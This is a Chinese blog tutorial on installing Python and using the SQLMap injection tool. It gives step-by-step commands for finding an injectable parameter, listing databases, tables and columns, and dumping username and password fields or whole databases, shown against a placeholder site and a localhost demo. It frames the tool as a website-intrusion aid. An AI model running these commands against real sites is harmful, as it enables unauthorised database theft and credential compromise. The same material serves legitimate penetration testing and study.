0x 00 前言

    SQLMAP

0x 01 注入原理

             不说了

*****************************************结束分割线*****************************************

0x 02 安装SQLMap

  1. 安装python

    官网https://www.python.org/ 选择最新版本下载安装即可

    因为SQLMap使用Python写的 ,所以没有Python的环境SQLMap无法运行

1、linux下安装python3

a、 准备编译环境(环境如果不对的话,可能遇到各种问题,比如wget无法下载https链接的文件)

1
2
yum groupinstall 'Development Tools'
yum install zlib-devel bzip2-devel  openssl-devel ncurses-devel

2 下载 Python3.5代码包

      wget  https://www.python.org/ftp/python/3.5.0/Python-3.5.0.tar.xz

在安装包中有一个README的文件,里面有写如何安装

      tar Jxvf  Python-3.5.0.tar.xz
cd Python-3.5.0
./configure --prefix=/usr/local/python3
make && make install

做软链:

      ln -s /usr/local/python3/bin/python3.5 /usr/local/bin/python3

安装成功了!

如果提示:Ignoring ensurepip failure: pip 7.1.2 requires SSL/TLS

这是原因没有安装或升级oenssl:

      yum install openssl-devel

再次重复编译方案python3.5:

提示同时成功安装pip-7.12与setuptools!

pip3与pip都提示没有错误!

做软链:

      ln -s /usr/local/python3/bin/pip3.5 /usr/local/bin/pip

升级pip到最新版本:

      pip install --upgrade pip

pip安装成功啦! (扩展python的工具)

注:--no-check-certificate 表示安装时“不检查证书”,不加上可能无法安装。

2.安装包

requests包:

      pip install requests

pyquery包:

      pip install pyquery

pymysql包:

      pip install pymysql

  

       2. 安装SQLMap

    官网 http://sqlmap.org/ 选择最近版本安装即可

0x 03 SQLMap常用命令介绍

  1. sqlmap.py -u "http://www.XXX.com/index.asp?id=1"  

    判断id参数是否存在注入:结果中包含 “id” is Vulnerable  字段表示存在注入

    存在注入,下面的步骤才可以执行成功~

  2. sqlmap.py -u "http://www.XXX.com/index.asp?id=1"  --dbs

    列举能列出的所有数据库名

  3.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --current-db

    列出当前使用的数据库名,假设列出“sqltest”数据库  

  4.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1"  --is-dba

    判断该注入点是否有管理员权限:返回true  表示是管理员

  5.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" --tables

    获取sqltest中的所有表,假设有"admin"表

  6.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" --columns

    列举表admin的字段(列名),假设存在"username","password"字段

  7.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" -C "username,password" --dump

    下载字段username,password的值,若询问是否破解md5加密,选择no即可

    至此,对一个简单的注入点(GET方式),现在就已经得到了我们想要的数据

    想看工具的注入过程 使用-v参数

    -level 会提高注入等级(默认0 只会判断get,post参数是否有注入点)

    若注入点是POST方式,或是注入点才Cookie,User-Agent中,可以利用-Date 参数 -Cookie参数指定

    当然用buip Suite架个代理,截取数据包,直接 -r 参数引入数据包也可以完成上述的注入情况的~

0x 04 注入Demo

    本次演示使用Apache+Php +Mysql 环境,其他环境的话

    使用SQLMap输入还是相同的命令,这点SQLMap做的好方便

       

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --dbs 列所有数据库名

     

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --current-db 列出当前数据库

    

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --is-dba   判断注入点是否有管理员权限

    

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" --tables  猜表名

    

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" -T "test" --columns  猜字段名

    

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" -T "test" -C "id,name" --dump 猜id和name的值

    

    

    网络上流传的脱裤 用的可就是下面的一句话

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" --dump-all

    突然发现 强大的东西往往仅仅是一句话 ! !

    这条命令会直接把test数据库中所有的表全部下载到安装目录output文件夹中

网站入侵工具 SQL注入神器的更多相关文章

  1. 使用C#winform编写渗透测试工具--SQL注入

    使用C#winform编写渗透测试工具--SQL注入 本篇文章主要介绍使用C#winform编写渗透测试工具,实现SQL注入的功能.使用python编写SQL注入脚本,基于get显错注入的方式进行数据 ...

  2. 谈谈PHP网站的防SQL注入

    SQL(Structured Query Language)即结构化查询语言.SQL 注入,就是把 SQL 命令插入到 Web 表单的输入域或页面请求参数的查询字符串中,在 Web表单向 Web 服务 ...

  3. 『安全工具』注入神器SQLMAP

    Pic by Baidu 0x 00 前言 正是SQLMAP这种神器的存在,SQL注入简直Easy到根本停不下来.... PS:国内类似软件也有阿D,明小子,挖掘机,当你用过他们之后你才会发现SQLM ...

  4. discuzX3.2 X3.4网站漏洞修复 SQL注入与请求伪造攻击利用与修复

    2018年12月9日,国内某安全组织,对discuz X3.2 X3.4版本的漏洞进行了公开,这次漏洞影响范围较大,具体漏洞是discuz 的用户前段SQL注入与请求伪造漏洞,也俗称SSRF漏洞,漏洞 ...

  5. 网站mysql防止sql注入攻击 3种方法总结

    mysql数据库一直以来都遭受到sql注入攻击的影响,很多网站,包括目前的PC端以及手机端都在使用php+mysql数据库这种架构,大多数网站受到的攻击都是与sql注入攻击有关,那么mysql数据库如 ...

  6. 网站如何防止sql注入攻击的解决办法

    首先我们来了解下什么是SQL注入,SQL注入简单来讲就是将一些非法参数插入到网站数据库中去,执行一些sql命令,比如查询数据库的账号密码,数据库的版本,数据库服务器的IP等等的一些操作,sql注入是目 ...

  7. SQL注入神器———Sqlmap!

    Sqlmap 开源,python编写 支持5种SQL注入检测技术: 1.基于布尔的注入检测 2.基于时间的注入检测 3.基于错误的注入检测 4.基于UNION联合查询的检测 5.基于堆叠查询的检测 支 ...

  8. 网站被攻击扫描SQL注入的日常记录

    我发了个博客,泄露了域名之后,便有人疯狂的尝试攻击我的站点,奈何我防守做得比较好,直接把网段封了,看到403还锲而不舍,我真是想给他颁奖了 查看ua,发现很多sqlmap的ua,肯定会是被刷了,只是运 ...

  9. 10年前,我就用 SQL注入漏洞黑了学校网站

    我是风筝,公众号「古时的风筝」,一个兼具深度与广度的程序员鼓励师,一个本打算写诗却写起了代码的田园码农! 文章会收录在 JavaNewBee 中,更有 Java 后端知识图谱,从小白到大牛要走的路都在 ...

随机推荐

  1. linux input子系统详解

    首先,什么是linux的子系统: 输入子系统由驱动层.输入子系统核心.事件处理层三部分组成.一个输入事件,如鼠标移动通过Driver->Input core->Event handler- ...

  2. mybatis+mysql insert添加数据后返回数据主键id---(转)

    1.根据useGeneratedKeys获取返回值,部分数据库不支持 修改mybatis xml 1 2 3 <insert id="insertUser" useGener ...

  3. jenkins【目录】:目录

    jenkins[目录]:目录 GitLab 自动触发 Jenkins 构建 返回

  4. LeetCode 792. 匹配子序列的单词数(Number of Matching Subsequences)

    792. 匹配子序列的单词数 792. Number of Matching Subsequences 相似题目 392. 判断子序列

  5. [转帖]五分钟彻底搞懂你一直没明白的Linux内存管理

    五分钟彻底搞懂你一直没明白的Linux内存管理 https://cloud.tencent.com/developer/article/1462476 现在的服务器大部分都是运行在Linux上面的,所 ...

  6. Python08之分支和循环3(for、while循环)

    一.for语句: for 目标 in 表达式: 循环体 i = "湖人总冠军" for each in i: print(each) 湖 人 总 冠 军 for each in i ...

  7. Linux基础-09-磁盘分区、挂载及文件系统管理

    1. 硬件设备与文件名的对应关系 1) 在Linux系统中,每个设备都被当初一个文件来对待. 2) 各种设备在Linux中的文件名 2. 硬盘的结构及硬盘分区 1) 为什么要进行硬盘分区: a) 更容 ...

  8. Challenge & Growth —— 从这里开始

    做有挑战的事情,就从这里开始. 忘记这本书现在在哪儿了,以前还以为能祖祖辈辈留传,现在只能借助 Nowcoder 了.Now coder,Forever thinker. 想以自以为最优美的 code ...

  9. jmeter保存返回数据到csv

    添加一个线程组,然后右键选择“正则表达式提取器” 配置正则表达式: 添加添加后置处理器beanshell postprocessor: 保存提取的数据: 代码: FileWriter fstream ...

  10. Effective Java 读书笔记(四):泛型

    1 不要使用原始类型 (1)术语 术语 例子 参数化类型(Parameterized type) List<String> 实际类型参数(Actual type parameter) St ...